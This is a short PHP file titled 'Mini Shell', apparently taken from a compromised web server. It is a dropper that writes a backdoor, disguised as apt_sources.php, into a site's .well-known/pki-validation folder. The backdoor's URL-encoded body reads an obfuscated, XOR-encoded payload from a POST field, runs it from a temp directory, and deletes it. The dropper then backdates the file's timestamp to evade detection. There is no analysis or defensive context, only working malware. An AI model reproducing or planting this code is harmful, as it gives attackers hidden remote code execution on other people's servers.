Mini Shell

<?php   $p = "/home/ukubnwwt/airlev8.com/.well-known/pki-validation/apt_sources.php"; $c = rawurldecode('%3C%3Fphp%0A%0Aif%28array_key_exists%28%22r%5Cx65fere%5Cx6Ec%5Cx65%22%2C%20%24_POST%29%29%7B%0A%09%24comp%20%3D%20array_filter%28%5Bgetenv%28%22TMP%22%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getenv%28%22TEMP%22%29%2C%20getcwd%28%29%2C%20session_save_path%28%29%2C%20%22/dev/shm%22%2C%20sys_get_temp_dir%28%29%2C%20%22/var/tmp%22%2C%20%22/tmp%22%5D%29%3B%0A%09%24entity%20%3D%20hex2bin%28%24_POST%5B%22r%5Cx65fere%5Cx6Ec%5Cx65%22%5D%29%3B%0A%09%24k%20%3D%20%27%27%20%3B%20foreach%28str_split%28%24entity%29%20as%20%24char%29%7B%24k%20.%3D%20chr%28ord%28%24char%29%20%5E%2031%29%3B%7D%0A%09foreach%20%28%24comp%20as%20%24key%20%3D%3E%20%24pset%29%20%7B%0A%20%20%20%20%09%09if%20%28%28is_dir%28%24pset%29%20and%20is_writable%28%24pset%29%29%29%20%7B%0A%20%20%20%20%24value%20%3D%20%22%24pset%22%20.%20%22/.data%22%3B%0A%20%20%20%20if%20%28file_put_contents%28%24value%2C%20%24k%29%29%20%7B%0A%09require%20%24value%3B%0A%09unlink%28%24value%29%3B%0A%09die%28%29%3B%0A%7D%0A%7D%0A%7D%0A%7D'); if (file_put_contents($p, $c)) {     echo '!success!';     @touch($p, 1741339905); } die('!ended!');